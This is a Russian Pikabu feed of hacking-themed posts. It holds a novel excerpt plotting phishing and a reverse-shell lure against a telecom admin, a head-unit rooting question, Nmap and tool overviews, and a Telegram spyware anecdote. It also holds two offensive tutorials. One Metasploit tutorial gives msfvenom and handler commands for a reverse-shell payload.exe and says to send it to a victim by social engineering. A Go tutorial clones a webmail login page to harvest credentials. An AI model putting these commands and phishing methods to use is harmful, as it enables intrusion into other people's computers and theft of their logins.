Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Регистрируясь, я даю согласие на обработку данных и условия почтовых рассылок.
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр Погрузитесь в игру Бильярд 3D: русский бильярд — почувствуйте атмосферу настоящего бильярдного зала!

Бильярд 3D: Русский бильярд

Симуляторы, Спорт, Настольные

Играть

Топ прошлой недели

  • cristall75 cristall75 6 постов
  • 1506DyDyKa 1506DyDyKa 2 поста
  • Animalrescueed Animalrescueed 35 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая «Подписаться», я даю согласие на обработку данных и условия почтовых рассылок.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Маркет Промокоды Пятерочка Промокоды Aroma Butik Промокоды Яндекс Путешествия Промокоды Яндекс Еда Постила Футбол сегодня
0 просмотренных постов скрыто
DmitryRomanoff
DmitryRomanoff
Лига Аудиокниг

Аудиокнига "Хакер"⁠⁠

26 дней назад
Аудиокнига "Хакер"

Аудиокнига "Хакер"

Он родился в трущобах и мечтал разбогатеть так, чтобы купить весь квартал, где родился и вырос. Но однажды он встретил русскую девушку Наташу, в которую влюбился по уши. Любовь толкнула его на самые рискованные и отчаянные взломы. Это история становления гениального мошенника, перевернувшего мировые финансовые рынки. История о том, как рождается преступник века, о моральном выборе и тонкой грани между гениальностью и безумием, великой любовью и одержимостью.
Бабло побеждает зло?! Или любовь?

https://vk.ru/music/playlist/875677814_7

Показать полностью 1
[моё] Хакеры Русские хакеры Самиздат Информационная безопасность Программирование IT Программа Программист Безопасность Взлом Взлом вк Взломщики Взлом ПК Linux
0
DmitryRomanoff
DmitryRomanoff

Центр управления взломом⁠⁠

1 месяц назад
Центр управления взломом

Центр управления взломом

Одна мысль не давала мне покоя. Я подошёл к окну и посмотрел на ночной город. Шёл дождь, сверкали молнии, и это подтолкнуло меня к новым решительным действиям. «Я должен найти Наташу, чего бы мне это ни стоило!» — подумал я. Пусть для этого придётся взломать самого защищённого оператора сотовой связи с лучшими хакерами мира на защите. Это было сложной, но выполнимой задачей.

Мне нужно было привлечь к этому команду, но как быть с личными данными? Поставить задачу получить всю базу, не говоря, что именно я ищу определённого человека? Вариант! Только вначале мне нужно более основательно подготовиться и собрать больше данных. В этот раз я должен основательно подойти и потренироваться, чтобы не упасть в грязь лицом.

Недавно я узнал об уязвимости в системе безопасности крупного оператора сотовой связи, и мой мозг, заточенный на поиск лазеек, мгновенно заработал. Это была возможность доказать себе и миру, что даже самые защищённые системы могут быть скомпрометированы. Тогда, наконец, осуществится моя давняя мечта и я найду Наташу!

Вечер я провёл в своей лаборатории, где глубоко погрузился в оттачивание навыков, ведь успешный взлом — это не только проникновение, но и умение защищаться. Одной из самых важных задач была защита сервера от DDoS-атак.

Я открыл виртуальную машину, имитирующую атакуемый сервер, и начал настраивать защиту. Представим, что наш сервер — это крепость, а DDoS-атака — это армия, которая пытается завалить её миллионами запросов, пытаясь заблокировать вход. Моя задача состояла в том, чтобы построить вокруг крепости рвы и стены, которые либо отразят атаку, либо замедлят её, дав мне время для реакции.

Вот несколько методов, которые я использовал для защиты от DDoS-атак.

Фаерволы и системы обнаружения вторжений. Эти системы действуют как охранники, фильтруя входящий трафик и блокируя подозрительные запросы. Если кто-то пытается отправить слишком много запросов за короткое время, фаервол просто его отбрасывает.

Балансировщики нагрузки. Представляем, что у нас есть не одна, а несколько крепостей. Балансировщик нагрузки распределяет входящий трафик между ними, не давая одной крепости оказаться перегруженной. Если одна крепость начинает испытывать трудности, трафик перенаправляется на другую.

Лимитирование скорости. Это правило — не больше определённого числа запросов в секунду от одного источника. Если кто-то превышает этот лимит, то его запросы временно блокируются.

Использование CDN. Это сеть серверов, расположенных по всему миру. Они кэшируют наш контент и доставляют его пользователям с ближайшего сервера. Это не только ускоряет загрузку, но и распределяет нагрузку, делая нас менее уязвимым для атак. Если атака направлена на один узел, то остальные продолжают работать.

Фильтрация трафика на уровне провайдера. Провайдер может помочь, фильтруя подозрительный трафик ещё до того, как он достигнет сервера. Это как иметь армию на подступах к городу, не давая врагу даже приблизиться к стенам.

Я настроил виртуальную машину так, чтобы имитировать крупномасштабную DDoS-атаку, используя несколько ботнетов. Мониторы светились зелёным и красным, показывая входящий трафик и блокировки. Я наблюдал, как мои фаерволы отбивались от потока запросов, как балансировщики нагрузки перераспределяли их, а системы выявляли и блокировали вредоносные пакеты. Это была битва, и я был её дирижёром.

Далее я развернул в виртуальном окружении тестовый стенд из нескольких сотен машин-зомби, сгруппированных в ботнет, и скромный сервер, играющий роль жертвы.

— Атакуй меня, — сказал я сам себе голосом Сандерса.

Запустился скрипт. Армада ботов послушно обрушила на сервер лавину бессмысленных запросов. График нагрузки взлетел до красной зоны. Сервер лёг. Простая блокировка IP-адресов бесполезна. Их тысячи и они постоянно меняются.

Я активировал аппаратный файрволл и настроил лимиты на количество соединений с одного IP, включил проверку на человечность с помощью Ява скрипта. Часть самых примитивных ботов отсеялась, но умные продолжили работу.

Далее я включил сервис защиты от DDoS, который работает как «умный» буфер. Весь трафик пошёл сначала через него. Он анализировал пакеты, отфильтровывал мусор и пропускал на мой сервер только легитимные запросы. График нагрузки упал до зелёной зоны. Сервер дышал ровно и спокойно под тучей запросов.

— Слабенько, — усмехнулся я.

Далее, мне нужно было довести свой реверс-шелл до идеала. Грамотный хак — это не всегда грубый взлом, а чаще всего простая копия ключа. Реверс-шелл — это и есть тот самый ключ.

Я открыл терминал. Цель тренировки состояла в том, чтобы получить на удалённой машине возможность выполнять команды так, будто я сижу за её клавиатурой. Но как заставить её подключиться ко мне? Для этого необходимо обойти файрволлы и все системы безопасности. Я написал небольшой скрипт на Питоне в несколько строчек кода. Его суть была в том, чтобы установить соединение с моим сервером и привязать к этому соединению командную оболочку машины жертвы. Просто и элегантно как крючок с наживкой. Теперь этот скрипт нужно было как-то доставить цели, но как?

Это была уже работа для специалиста по социальной инженерии. Вот несколько методов, которые я рассматривал.

Фишинг. Это, пожалуй, самый распространённый метод. Я мог бы отправить сотруднику оператора поддельное письмо, похожее на официальное, скажем, от IT-отдела, с просьбой обновить учётные данные по ссылке. Ссылка вела бы на мой поддельный сайт, где я собирал их логины и пароли.

Претекстинг. Создание выдуманного сценария, чтобы убедить жертву предоставить информацию. Я мог бы позвонить сотруднику, представившись, например, новым системным администратором, которому нужна его помощь для срочного устранения неполадок. Под этим предлогом я мог бы выведать нужные мне данные.

Или же я мог бы имитировать голос начальника или сотрудника службы поддержки. Опыт у меня уже был. Предложение чего-то взамен за информацию. Например, я мог бы предложить бесплатную диагностику их компьютера, если они предоставят мне доступ. Конечно, настоящая цель была бы совершенно другой.

Троянский конь. Скрытое вредоносное ПО, замаскированное под что-то безобидное. Я мог бы, например, подбросить флэшку с надписью «Отчёт о зарплате» или «Фотографии с корпоратива». Из любопытства кто-то вставил бы её в свой компьютер, и моё вредоносное ПО установилось бы. Но все эти варианты отпадали из-за невозможности физического контакта и языка. Русский я не знал и плохо понимал даже с переводчиком.

Я делал, что было в моих силах и оттачивал свои навыки создания убедительных писем, поддельных страниц, продумывал сценарии телефонных разговоров. Также, я продолжал изучать психологию людей, чтобы понять, как они реагируют на стресс, авторитет и любопытство. Знание этих уловок было моим секретным оружием.

В конце концов, самая сильная система безопасности — это люди, а самая слабая — тоже люди. Моя подготовка была завершена. Взлом человека это довольно тонкое искусство. Здесь я мысленно надевал плащ Лекси и изучил сотрудников целевой компании. Так я нашёл системного администратора среднего звена. Его звали Сергей. У него был усталый взгляд, седина в бороде, посты о сложных миграциях и криках души о том, что «менеджеры не слушают тех, кто в теме».

Далее, я создал почтовый ящик, идеально имитирующий внутренний корпоративный адрес.

Тема письма: «Срочно! Проверка целостности данных после вчерашнего инцидента».

Текст: «Уважаемый Сергей Петрович, в связи с незапланированным отключением электричества в дата-центре просим вас проверить логи на предмет повреждения файловых систем. Для ускорения процесса прилагаем диагностический скрипт. Отчёт просим предоставить в течение часа».

К письму я прикрепил тот самый скрипт на Питоне.

Могло ли это сработать? Вероятность была, хоть и не высокая. Сергей был уставшим и хотел быстро выполнить задание от начальства чтобы пойти домой. Он ненавидел бюрократию и не ожидал атаки изнутри, доверяя корпоративной почте. Я отточил каждую фразу, каждую деталь. Письмо пахло срочностью, официальностью и лёгкой паникой, которую испытывают все после инцидентов. Естественно, ничего не получилось. Какова была реакция Сергея мы уже никогда не узнаем, но скрипт он так и не запустил. Матерился, наверное. Со смаком, по-русски!

Я не стал отчаиваться и перешёл к проверке других инструментов чтобы копнуть в самом неожиданном месте. Для этого я нашёл доступ к личному кабинету абонентов. Это та самая форма входа, где миллионы людей каждый день вводят свои номера телефонов и пароли.

SQL-инъекция

SQL-инъекция

SQL-инъекция — это старая, как мир, дыра, которую иногда забывают запереть ленивые или бездарные разработчики. Суть проста до гениальности! В поле для ввода мы вводим не логин, а кусок кода на языке баз данных. И если система не проверяет ввод, она проглатывает этот код и выполняет его, приняв за обычный запрос. Это как будто мы говорим сторожу: «Я Иван Иванов, иди подыми шлагбаум, а потом принеси мне все ключи от сейфа».

Я запустил сканер уязвимостей, нацеленный на их веб-интерфейс. Он засыпал их сервер десятками запросов, подставляя в поля ввода классические конструкции для инъекций. Ответ был предсказуемым и удручающим: «Неверный логин или пароль». Их система не проглотила наживку потому что они фильтровали ввод. Было обидно, даже задело за живое. Я чувствовал себя взломщиком, который подобрал отмычку к суперсовременному замку, а он оказался нарисованным на двери.

Тогда я стал усложнять запросы, используя HEX-кодирование, и пытался обойти фильтры с помощью двойных дефисов и кавычек разных уровней. Каждый раз я получал холодное и бездушное сообщение об ошибке. Их разработчики знали своё дело. Стена была неприступной!

В ярости я запустил самый тяжёлый инструмент под названием sqlmap. Это мощнейший фреймворк для автоматизации SQL-инъекций. Я скормил ему адреса их формы входа, и он начал подбирать типы баз данных, перебирая техники и пытаясь определить имена таблиц.

Прошёл час. Два. На экране мелькали тысячи запросов, но большинство из них были с ошибками. Я уже хотел вырубить всё к чертям, как вдруг sqlmap выдал нечто иное, и потом, почти случайно, в логах мелькнула строка, заставившая моё сердце ёкнуть.

Я замер. На экране был Oracle. Теперь это была не безликая база данных, а конкретный, мощный и дорогой продукт. Это была моя первая зацепка и маленький, но очень важный кусочек мозаики, который мне предстояло собрать.

Я сузил поле атаки, указав sqlmap цель Oracle. Инструмент заработал с новой силой, теперь используя специфичные для Oracle методы. Снова серия провалов, но в самом конце, перед тем как выдать финальное «неуязвимо», он выплюнул ещё один алмаз.

Это была их версия базы данных под названием 19c Enterprise Edition. Теперь я знал, с чем имею дело, и мог искать не уязвимости «вообще в SQL», а конкретные дыры в конкретной версии Oracle 19c. Я мог изучать её внутреннее устройство, специфичные функции с её известными багами.

Я откинулся в кресле, потягиваясь. Это была разведка боем. Стена устояла, но я услышал её звон, почувствовал её толщину и узнал материал, из которого она сделана.

Теперь нужно было искать отбойный молоток, созданный специально для этого материала. Мне нужно было подключать к этому команду. Я вошёл в общий чат:

— Ладно, ребята, признаюсь. Выкладываю всё как на духу. Ломал я, значит, как-то одного ОпСоСа и поплатился палёным биосом. Ну не мог я тогда поверить, что кто-то может его просто так взять и спалить, но на слёте в Момбасе один умник подтвердил, что можно, и даже признался, что это был он.

— Я до сих пор не верю, что ты туда поехал, — тут же отписался Сандерс.

— Это было слишком рискованно, — добавил Тихоня.

Лекси промолчала. Мы оба знали, что это было классное приключение. Посмотреть воочию столицу криминального мира было здорово! Пусть даже в полной анонимности и без личных знакомств, но почувствовать эту атмосферу и проникнуться духом мирового уровня киберпреступности было всё равно что прикоснуться к чему-то по-настоящему великому.

— У меня задача. Серьёзная, — продолжил я. — Нужна база оператора сотовой связи из России.

Первым ответил Сандерс:

— Охренеть. Ты там с кайфом-то не перебрал? Это же не какая-то шарашка. Это россияне. У них там ФСБ на проводе вместо сисадмина. Ты уверен?

— Абсолютно, — ответил я. — Уже неделю их сканирую. Стена глухая, SQL-инъекции не работают, DDoS они даже не заметят, но я кое-что выяснил. У них всё крутится на Oracle 19c Enterprise.

Тихоня:

— Интересно. Это меняет дело. У 19-й есть несколько специфичных уязвимостей в реализации протокола TNS. Можно попробовать атаку на переполнение буфера, но потребуется тщательная подготовка.

Лекси:

— А люди? Там же кто-то должен на эту вашу Oracle смотреть.

— Да! — тут же ответил я, радуясь тому, что у меня есть готовый ответ на этот вопрос. — Я нашёл системного администратора Сергея. Он женат, у него двое детей и ипотека. В его соцсетях постоянно мелькают стоны о работе, мемы про «опять эти миграции в выходные» и ненависть к начальству. Он идеальная мишень. Я уже кидал ему удочку в виде письма от имени службы безопасности с просьбой проверить логи и запустить мой скрипт на питоне, но он, зараза, проигнорировал.

Сойер:

— Адекватный админ не будет запускать скрипты, пока досконально не проверит что они делают. К тому же, ты уверен что переводчик хорошо перевёл твоё письмо? Обычно это хорошо видно и бросается в глаза, вызывая подозрение. К твоему админу нужен другой крючок. Более острый. Если он в ипотеке и ненавидит босса, возможно, ему нужны деньги, а не угрозы.

— У меня есть его контакты, — тут же ответил я. — Включая личный номер и почту. Лекси, что скажешь?

Лекси:

— Дай-ка подумать… Стандартное предложение о работе не прокатит. Он параноик. Ему нужно что-то… точечное. Что-то, что ударит точно в болевую точку. У него есть хобби?

— Вроде, он увлекается рыбалкой, — вспомнил я его соцсети. — По выходным он пропадает на реке.

Лекси:

— Идеально. Сандерс, мне нужен клон сайта его банка. Не идеальный, но убедительный. Тихоня, подготовь скрипт, который сымитирует заход на этот клон. Сойер, нужно подделать SMS от банка о списании крупной суммы. Ну, пусть будет на полмиллиона рублей. Ссылка будет вести на сайт-клон.

Сандерс:

— Понял! Сделаю!

Тихоня:

— Тогда я модифицирую наш старый скрипт с реверс-шелл. Он будет маскироваться под Java-апплет для «безопасного входа» в личный кабинет банка. Запустится автоматически при переходе по ссылке.

Сойер:

— СМС устрою. Подменю номер отправителя. Он получит сообщение о том, что с его счёта списаны полмиллиона рублей. Паника обеспечена.

— Прекрасно! — обрадовался я. — Но это только начало. Как только он позвонит по фейковому номеру «поддержки»…

Лекси:

— То его тут же встретит мой голос. Я буду девушкой-оператором Марией. Спокойной и компетентной. Я ему скажу, что это технический сбой, деньги не ушли, но для их возврата и защиты счёта нужно срочно установить на его рабочий компьютер патч. Тут в дело включится тот самый скрипт от Тихони. Скажу ему, что это временная мера, так как атака идёт на все наши филиалы.

Тихоня:

— Он сисадмин и может заподозрить неладное!

— В состоянии паники из-за потери полумиллиона? — подключился я. — Сомневаюсь. Ипотека, семья… Он схватится за соломинку, а мы и есть та соломинка.

Сойер:

— А если он полезет в настоящий личный кабинет?

Лекси:

— Сандерс в это время положит настоящий сайт банка лёгкой DDoS-атакой. Достаточной, чтобы вызвать таймауты и подтвердить версию о технических неполадках.

— Идеально! — радостно заметил я. — Спасибо вам всем, друзья! Тогда сегодня готовимся и провернём всё это завтра.

В чате послышались короткие: «До связи», «Понял», «Принято», «Уже работаю».

Показать полностью 3
[моё] Хакеры IT Сотовые операторы Взлом Взломщики Взлом ПК Программирование Программист Программа Информационная безопасность Windows Linux Длиннопост
0
0
Вопрос из ленты «Эксперты»
mainka177

Доступ к bin/bash через u-boot⁠⁠

9 месяцев назад

Всем привет, я рукожоп-затейник и надеюсь тут есть опытные линукс пользователи, которые могут подсказать. Я пытаюсь глянуть во внутренности линукса, чтобы отключить проверку ключей NATS.

Цель: активировать ssh демона, подключение usb-lan шнурка для дальнейших манипуляций.
Платформа: Nissan AIVI1 Bosch головное устройство на линуксе и ARM процессоре.

Текущая ситуация такая: могу попасть в консоль u-boot, но к сожаление сделать ничего там не могу. Документация u-boot говорит, что есть команда usbboot и ls, но к сожаление в ГУ таких команд нет.
Вдохновлялся вот этим: https://github.com/ea/bosch_headunit_root
но есть там ген2, а уменя ген3.

бутаргсы выглядят вот так
[ 5.011546] bootargs=console=ttymxc3,115200n8n mem= maxcpus= root=/dev/ rootwait lpj=1994752 panic= panic_on_oops= usbcore.rh_oc_handler=1 4 init=/bin/sh

пробовал init=/bin/bash, но такое ощущение, что они сбрасываются и загружается что-то другое.


целый printenv https://pastebin.com/SS77CbFX

Показать полностью
Вопрос Спроси Пикабу Нужен совет Ноутбук Консультация Проблема Компьютерная помощь Linux Взлом Текст Длиннопост
2
7
Lifehack
Lifehack
Life-Hack [Жизнь-Взлом]/Хакинг

Metasploit⁠⁠

1 год назад

Metasploit Framework - это мощный инструмент, который может быть использован как злоумышленниками, так и этичными хакерами и специалистами по тестированию на проникновение для исследования уязвимостей в сетях и на серверах.

Проект Metasploit был создан на языке Perl в 2003 году Эйч Ди Муром (H.D. Moore) при содействии основного разработчика Мэтта Миллера для использования в качестве портативного сетевого инструмента. Он был полностью переведен на язык Ruby к 2007 году, а в 2009 году лицензию приобрела Rapid7, и теперь этот инструмент остается частью ассортимента этой компании, специализирующейся на разработке систем обнаружения вторжений и инструментов эксплуатации уязвимостей систем удаленного доступа.

Этот фреймворк стал основным инструментом разработки эксплойтов. До Metasploit пентестерам приходилось выполнять все проверки вручную, используя различные инструменты, которые могли поддерживать или не поддерживать тестируемую платформу, а также вручную писать собственный код для эксплуатации уязвимостей.

Основными компонентами инструмента являются эксплойты и пэйлоады.

Эксплойт - это код, который эксплуатирует ошибку, неверную настройку или системный сбой — любую брешь в защите. Эксплойт помогает найти ее, а потом воспользоваться, чтобы получить контроль над целевой системой. Создавать эксплойты лучше самостоятельно, но с Metasploit это быстрее и проще. Во фреймворке есть образцы готового кода.

Пэйлоады. Когда эксплойт получает доступ к системе, выполняется определенный код. Его называют пэйлоадом, или полезной нагрузкой. Обычно это шелл-код — команды, написанные на языке оболочки операционной системы, то есть для консоли ОС. Пэйлоад нужен, чтобы установить соединение, запустить вредоносный код или выполнить другую операцию.

Дополнительные модули Metasploit позволяют просканировать сеть и проанализировать трафик, который через нее идет. Это необходимо на начальном этапе атаки — так пентестер получает информацию, нужную для проникновения.

В состав фреймворка входят:

  • библиотеки — в первую очередь библиотека Rex для основных операций. На ней базируются другие — MSF Core и MSF Base. Вместе они составляют основное ядро команд Metasploit;

  • модули — эксплойты, пэйлоады и прочие, о которых рассказывали выше;

  • инструменты — дополнительное ПО для работы;

  • вспомогательные плагины;

  • интерфейсы — то, с помощью чего пользователь взаимодействует с Metasploit. По умолчанию это доступ через консоль или CLI — консольное приложение. Можно установить или настроить графический интерфейс.

MSFVenom — бесплатный инструмент для создания полезной нагрузки (вредоносного файла). Это, так сказать, двоюродный брат Metasploit. С его помощью вы можете создавать различные полезные нагрузки, шелл-код и обратный шелл.

Reverse TCP (обратное подключение, обратный шелл, пэйлоад) — схема взаимодействия с целевым компьютером. Мы создаем вредоносный файл (полезную нагрузку), после запуска которого целевой компьютер будет пытаться подключиться к нашему компьютеру. Это называется «бэкконнект» или обратный шелл.

Чтобы узнать, какие полезные нагрузки доступны введите команду:

msfvenom -l payloads

Следующая команда создаст вредоносный исполняемый файл (обратный шелл), после запуска которого откроется сеанс Meterpreter.

  • LHOST — IP-адрес вашего компьютера (атакующего).

  • LPORT — порт вашего компьютера, который назначен серверу или программе.

  • P — сокращение от «payload», полезная нагрузка для выбранной платформы.

  • F — параметр, который задает тип файла, например, exe для Windows.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.13 LPORT=4444 -f exe -a x64 -o payload.exe

Мы создали пэйлоад, теперь переходим к следующему этапу. Запускаем msfconsole и вводим команды:

msf> use exploit/multi/handler
msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf> set LHOST 192.168.1.13
msf> set LPORT 4444
msf> run

Этой операцией мы позволяем принять подключение от созданного нами ранее обратного шелла, который запустит жертва.

После создания вредоносного файла необходимо отправить его жертве. Вы можете использовать методы социальной инженерии или любой другой способ доставки вредоносного файла.

После запуска созданного файла откроется сессия Meterpreter:

Поздравляю, вы получили доступ к компьютеру.

Информация предоставлена для информационных целей.

Мы в телеграме

Показать полностью 2
[моё] Хакеры Информационная безопасность Linux IT Софт Взлом Длиннопост
7
13
Lifehack
Lifehack
Life-Hack [Жизнь-Взлом]/Хакинг

NMAP. 1 часть⁠⁠

1 год назад
NMAP. 1 часть

Network Mapper (Nmap) — это инструмент сетевого анализа и аудита безопасности с открытым исходным кодом, написанный на C, C++, Python и Lua. Он предназначен для сканирования сетей и определения доступных в сети хостов, а также служб и приложений, включая имя и версию. Он также может идентифицировать операционную систему этих хостов. Помимо других функций, Nmap также предлагает возможности сканирования, которые могут определить, настроены ли фильтры пакетов, межсетевые экраны или системы обнаружения вторжений (IDS) необходимым образом.

Nmap является одним из наиболее часто используемых инструментов, среди сетевых администраторов и специалистов по информационной безопасности. Он используется для:

  • Аудита аспектов безопасности сетей;

  • Тестирования на проникновение;

  • Проверки настроек и конфигурации брандмауэра и IDS;

  • Отображения сети;

  • Анализа ответов сетевых устройств;

  • Определения открытых портов;

  • Оценки защищенности сетевых устройств;

Nmap предлагает множество различных типов сканирования, которые можно использовать для получения различных результатов о наших целях. По сути, Nmap применяет следующие методы сканирования:

  • Host discovery

  • Port scanning

  • Service enumeration and detection

  • OS detection

  • Scriptable interaction with the target service (Nmap Scripting Engine)

Синтаксис Nmap довольно прост и выглядит следующим образом:

nmap <scan types> <options> <target>

Например, сканирование TCP-SYN (-sS) является одним из параметров по умолчанию, если мы не определили иное, а также одним из самых популярных методов сканирования. Этот метод сканирования позволяет сканировать несколько тысяч портов в секунду. Сканирование TCP-SYN отправляет один пакет с флагом SYN и, следовательно, никогда не завершает трехстороннее подтверждение связи, в результате чего не устанавливается полное TCP-соединение со сканируемым портом.

Если Nmap получает пакет с флагом SYN-ACK, он принимает решение, что порт открыт.

Если в пакете содержится флаг RST, это индикатор того, что порт закрыт.

Если Nmap не получит пакет обратно, он отобразит его как отфильтрованный. В зависимости от конфигурации брандмауэра некоторые пакеты могут быть отброшены или проигнорированы.

Разберем такой пример:

$ sudo nmap -sS localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-04-12 22:50 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000010s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5432/tcp open postgresql
5901/tcp open vnc-1
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds

Мы видим, что у нас открыты четыре разных TCP-порта. В первом столбце мы видим номер порта. Затем во втором столбце мы видим статус службы, а в третьем - тип этой службы.

Например, когда нам нужно провести сканирование сети, мы должны иметь представление о том, какие устройства находятся в этой сети. Существует множество опций, с помощью которых Nmap определит жива наша цель или нет. Самый эффективный метод обнаружения хоста — использование эхо-запросов ICMP.

Всегда рекомендуется сохранять каждое сканирование. Позже это можно будет использовать для сравнения, документирования и составления отчетов. Ведь разные инструменты могут давать разные результаты.

$ sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d" " -f5
10.129.2.4
10.129.2.10
10.129.2.11
10.129.2.18
10.129.2.19
10.129.2.20
10.129.2.28

Здесь 10.129.2.0/24  - целевая сеть, -sn - запрет сканирования портов, -oA tnet - указание сохранить результаты во всех форматах, с именем 'tnet'.

Мы в телеграме

Показать полностью
[моё] Linux Взлом Информационная безопасность Хакеры Инструменты Длиннопост
1
Zeroday0
Zeroday0

Подборка инструментов по кибербезопасности⁠⁠

1 год назад
Подборка инструментов по кибербезопасности

👋Приветствую в мире цифровой безопасности!

Сегодня я решил сделать для вас подборку инструментов для каждого специалиста в информационной безопасности/кибербезопасности.

Начнем с базы - Nmap - сетевая утилита для обнаружения устройств в сети и изучения характеристик сетевого трафика, помогает оценивать безопасность сетевой инфраструктуры.

Burp Suite - это мощная платформа для тестирования безопасности веб-приложений, которая помогает выявлять и эксплуатировать различные уязвимости.

Pompem - является инструментом с открытым исходным кодом, который предназначен для автоматизации поиска эксплойтов и уязвимостей в основных базах данных.

Pig - (Packet Intruder Generator) — это инструмент для создания пакетов на базе Linux. Ты можешь использовать Pig для различных целей, таких как тестирование IDS/IPS и подмена ARP.

Denyhosts - это полезный инструмент для защиты SSH-сервера от брутфорс-атак и попыток взлома. Может например блокировать IP-адреса, интегрироваться с системными фаерволами и многое другое

#Инструменты #ИБ | Наш канал

Показать полностью 1
Информационная безопасность Хакеры Интернет Linux Взлом Анонимность Telegram (ссылка)
5
YellowLearn
YellowLearn

Будьте аккуратны. Интересный шпионаж через Telegram⁠⁠

2 года назад

Предыстория, один клиент в компании попросил проверить пк сотрудника после упадка продаж, он реально думал что сливали заказы копированием или как то доступом через crm в общем упадок был, а понять как и отследить было сложно. Так для тех кто в теме, скрипт я переделал под exe прятался он под pdf прайсом. а в диспетчере скрыт. И пост не для программистов.

Перейти к видео


Попросили меня проверить, результат порадовал, но причастность доказать нереально кто из менеджеров запустил данный софт.
Схема проста, покупается зарубежный виртуальный номер на который регистрируется аккаунт телеграмм и через которого создаётся бот.

Рекомендую всем проверять отправки на порты телеги возможно вы тот самый за кем шпионит жена, муж, начальник или конкурент.

Находку я немного переписал, потому что она была зашита под файлом но выполняла почто такой же функционал как на видео.

Кто такие “White hats - Белы шляпы” ?

“White hats - Белы шляпы” - это термин, используемый для обозначения этичных хакеров, которые используют свои навыки для улучшения кибербезопасности.

Они работают на благо общества, помогая организациям обнаруживать и устранять уязвимости в их системах безопасности.

Белые шляпы проводят тестирование на проникновение и другие проверки безопасности, чтобы обнаружить потенциальные угрозы.

В отличие от “Black hats”, белые шляпы действуют законно и с разрешения владельцев систем.

Работа белых шляп важна для поддержания безопасности в интернете и защиты данных пользователей от злоумышленников.
Всё тестировалось в среде на виртуальных машинах и ведео не в коем образом не пропагандирует взлом или как то его рекламирует. Видео несёт информационный характер в сфере Pentest.
Tg@Windall

Показать полностью
[моё] Информационная безопасность Хакеры Взлом Python Интернет Linux Google Яндекс Windows Telegram IT Чат-бот Приложение Программирование Шпион ВКонтакте Почта России Почта Обман Видео YouTube Без звука
13
0
PENTEST.DNA
PENTEST.DNA
Web-технологии

Сбор учётных данных⁠⁠

2 года назад

Перед тем как ознакомиться с данным материалом настоятельно рекомендую ознакомиться с предыдущей статьей.

Один из столпов социального инжиниринга — это атака по сбору учетных данных. В ходе нее перехват учетной информации пользователя происходит за счет подмены оригинального сайта клонированной версией, где пользователь и вводит свои данные. Эта техника эффективна против организаций, которые предоставляют в интернете доступ к интерфейсу однофакторной аутентификации. Как только вы получили учетные данные пользователя, можете применять их для получения доступа к аккаунту на оригинальном сайте. Это зачастую приводит к прорыву сетевого периметра организации.

Go обеспечивает отличную платформу для выполнения подобных атак, потому что он быстро устанавливает новые серверы, позволяя также легко настраивать маршрутизацию и парсинг вводимой пользователем информации. В сборщик учетных данных можно добавлять множество настроек и возможностей, но в нашем примере будем придерживаться основ.

Для начала нужно сделать клон сайта, имеющего форму авторизации. Здесь можно рассмотреть множество вариантов. На практике вы будете делать копию сайта, используемого вашей мишенью. В своем примере мы будем клонировать ресурс Roundcube. Roundcube — это открытый клиент электронной почты, который применяется не так часто, как коммерческие решения наподобие Microsoft Exchange, но вполне годится для демонстрации принципа. Для запуска Roundcube мы задействуем Docker, так как он существенно упрощает процесс.

Вы можете запустить собственный сервер Roundcube, выполнив приведенный далее код. Делать это не обязательно, так как исходный код примера содержит клон данного сайта. Тем не менее для полноты информации мы включаем и этот вариант:

Эта команда запускает экземпляр Roundcube Docker. Перейдя по адресу http://127.0.0.1:80, вы увидите форму авторизации. Обычно для клонирования сайта и всех необходимых ему файлов используется wget, но задействованный в реализации Roundcube JavaScript лишает нас этой возможности. Вместо этого применим для сохранения Google Chrome. Структура каталога примера приведена в коде ниже.

Структура каталогов

Структура каталогов

Файлы в каталоге public представляют неизмененный сайт. Вам потребуется изменить исходную форму авторизации, чтобы перенаправлять вводимые данные, отправляя их своему серверу вместо действительного. Для начала откройте public/index.html и найдите элемент формы, используемый для POST-запроса авторизации. Он должен выглядеть так:

В этом теге нужно отредактировать атрибут action, направив его на свой сервер. Для этого измените action на /login и сохраните. Теперь эта строка должна выглядеть так:

Для корректного отображения формы авторизации и перехвата имени пользователя с паролем сначала потребуется разместить эти файлы в каталог public. Затем нужно будет написать для /login функцию HandleFunc, которая и будет выполнять перехват. Вам также потребуется сохранить полученные учетные данные в файле с помощью логирования.

Все это можно обработать буквально в нескольких строках кода, и в коде ниже вы увидите итоговую программу целиком.

Сервер сбора учетных данных

Сервер сбора учетных данных

Первое, на что следует обратить внимание, — это импорт github.com/Sirupsen/logrus. Это структурированный пакет для логирования, который мы предпочитаем задействовать вместо стандартного пакета Go log. Он предоставляет более богатые возможности настройки логирования для лучшей обработки ошибок. Чтобы использовать этот пакет, нужно, как обычно, вначале выполнить go get.

Затем мы определяем функцию-обработчик login(). Надеемся, что данный паттерн вам знаком. Внутри этой функции запись перехваченных данных реализуется с помощью log.WithFields(). При этом отображаются текущее время, пользовательский агент и IP-адрес источника запроса. Помимо этого, выполняется вызов FormValue(string) для перехвата переданных значений имени пользователя (_user) и пароля (_pass). Эти значения мы получаем из index.html, также определив расположение элементов ввода формы для каждого имени пользователя и пароля. Ваш сервер должен явно соответствовать именам полей в том виде, в каком они присутствуют в форме авторизации.

Приведенный далее фрагмент, извлеченный из index.html, показывает соответствующие вводные элементы, чьи имена для наглядности выделены жирным:

